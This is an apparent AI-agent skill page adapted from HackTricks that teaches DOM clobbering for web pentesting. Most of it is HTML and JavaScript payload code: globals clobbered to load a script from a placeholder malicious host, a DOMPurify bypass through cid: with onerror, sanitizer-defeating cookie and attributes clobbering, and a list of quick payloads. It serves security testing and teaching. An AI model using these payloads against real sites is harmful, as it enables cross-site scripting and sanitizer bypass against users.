Hacktricks-skills dom-clobbering

How to identify and exploit DOM Clobbering vulnerabilities in web applications. Use this skill whenever the user mentions DOM clobbering, ID/name attribute injection, global variable override, document.cookie manipulation, or any XSS technique involving HTML element attributes that can override JavaScript variables. Make sure to use this skill for any web security testing involving DOM-based vulnerabilities, especially when filters might be bypassable through attribute manipulation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/dom-clobbering/SKILL.MD
source content

DOM Clobbering

DOM Clobbering is a technique where HTML elements with

id
and
name
attributes can override JavaScript global variables in the document context, potentially leading to security vulnerabilities.

Core Concept

When you add HTML elements with specific

id
or
name
attributes, they create global variables in the JavaScript context that can override existing variables or properties.

Basic Clobbering

<form id="x"></form>
<script>
  console.log(typeof document.x) // [object HTMLFormElement]
</script>

Elements that can clobber globals with

name
attribute:

  • embed
    ,
    form
    ,
    iframe
    ,
    image
    ,
    img
    ,
    object

Controlling string values with anchor tags:

<a href="controlled string" id="x"></a>
<script>
  console.log(x) // "controlled string"
</script>

Advanced Techniques

Array and Object Attribute Clobbering

<a id="x">
  <a id="x" name="y" href="controlled">
    <script>
      console.log(x[1]) // "controlled"
      console.log(x.y) // "controlled"
    </script>
  </a>
</a>

Deep Attribute Clobbering (3+ levels)

<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
  alert(x.y.z.value) // "controlled"
</script>

Iframe-Based Deep Clobbering

<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
  @import "https://google.com";
</style>
<script>
  alert(x.y) // "controlled"
</script>

Note: The style tag gives the iframe time to render. Without it, you may get

undefined
.

Multi-Level Iframe Clobbering

<iframe
  name="a"
  srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d name=e href=controlled><a id=d> name=d>' name=b>" 
></iframe>
<style>
  @import "https://google.com";
</style>
<script>
  alert(a.b.c.d.e) // "controlled"
</script>

Filter Bypassing

If a filter loops through node properties using

document.getElementById('x').attributes
, you can clobber the
.attributes
property itself:

<form id="x"></form>
<form id="y">
  <input name="nodeName" />
</form>
<script>
  console.log(document.getElementById("x").nodeName) // "FORM"
  console.log(document.getElementById("y").nodeName) // "[object HTMLInputElement]"
</script>

Clobberable DOM properties:

  • attributes
    ,
    tagName
    ,
    nodeName
    ,
    parentNode
    , and more

Clobbering Window Objects

Common JavaScript pattern:

var someObject = window.someObject || {}

Exploit:

<a id=someObject href=//malicious-website.com/malicious.js></a>

Vulnerable code example:

<script>
  window.onload = function () {
    let someObject = window.someObject || {}
    let script = document.createElement("script")
    script.src = someObject.url
    document.body.appendChild(script)
  }
</script>

DOMPurify Bypass with cid: Protocol

<a id=defaultAvatar>
  <a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">
</a>

The

cid:
protocol doesn't URL-encode double-quotes, allowing runtime decoding to escape attributes.

Form Attribute Clobbering

<form name="cookie"><input id="toString"></form>

This overwrites the

attributes
property, preventing sanitizers from accessing actual attributes.

Document Object Clobbering

You can overwrite

document.cookie
,
document.body
,
document.children
, and even
document.querySelector
:

// Basic cookie clobbering
document.write("<img name=cookie />")

// Check the result
document.cookie // <img name="cookie">
typeof(document.cookie) // "object"

// More sanitizer-friendly approach
document.write("<form name=cookie><input id=toString></form>")

Writing After Clobbered Elements

Using HTML Tag

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
  <html id="cdnDomain" class="x">
    clobbered
  </html>
  <script>
    alert(document.getElementById("cdnDomain").innerText) // "clobbered"
    alert(document.querySelector(".x").innerText) // "clobbered"
  </script>
</p>

Using CSS to Hide Interference

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
  clobbered
</html>
<style>
  p { display: none; }
</style>
<script>
  alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>

Using SVG Body Tag

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
  <body id="cdnDomain">
    clobbered
  </body>
</svg>
<script>
  alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>

Using SVG ForeignObject

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
  <foreignobject>
    <html id="cdnDomain">
      clobbered
    </html>
  </foreignobject>
</svg>
<script>
  alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>

Form Clobbering

Add new entries to forms using the

form
attribute:

<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
  Click to send!
</button>

Button attributes for form manipulation:

  • form
    ,
    formaction
    ,
    formmethod
    ,
    formtarget
    ,
    formnovalidate
    ,
    formenctype

Testing Checklist

  1. Identify clobberable variables - Look for JavaScript that uses
    window.variable
    or
    document.variable
  2. Check for filter bypasses - Test if
    .attributes
    ,
    .nodeName
    , etc. can be clobbered
  3. Test document properties - Try clobbering
    document.cookie
    ,
    document.body
    , etc.
  4. Test form submissions - Check if form attributes can be manipulated
  5. Test with sanitizers - Try bypassing DOMPurify and similar libraries

References

Quick Payloads

<!-- Basic variable clobbering -->
<a id="targetVar" href="malicious-value"></a>

<!-- Cookie clobbering -->
<form name="cookie"><input id="toString"></form>

<!-- Filter bypass -->
<form id="x"><input name="attributes"></form>

<!-- Array clobbering -->
<a id="arr"><a id="arr" name="0" href="value"></a></a>

<!-- Deep clobbering -->
<form id="a" name="b"><input id="c" value="x"></form>
<form id="a"></form>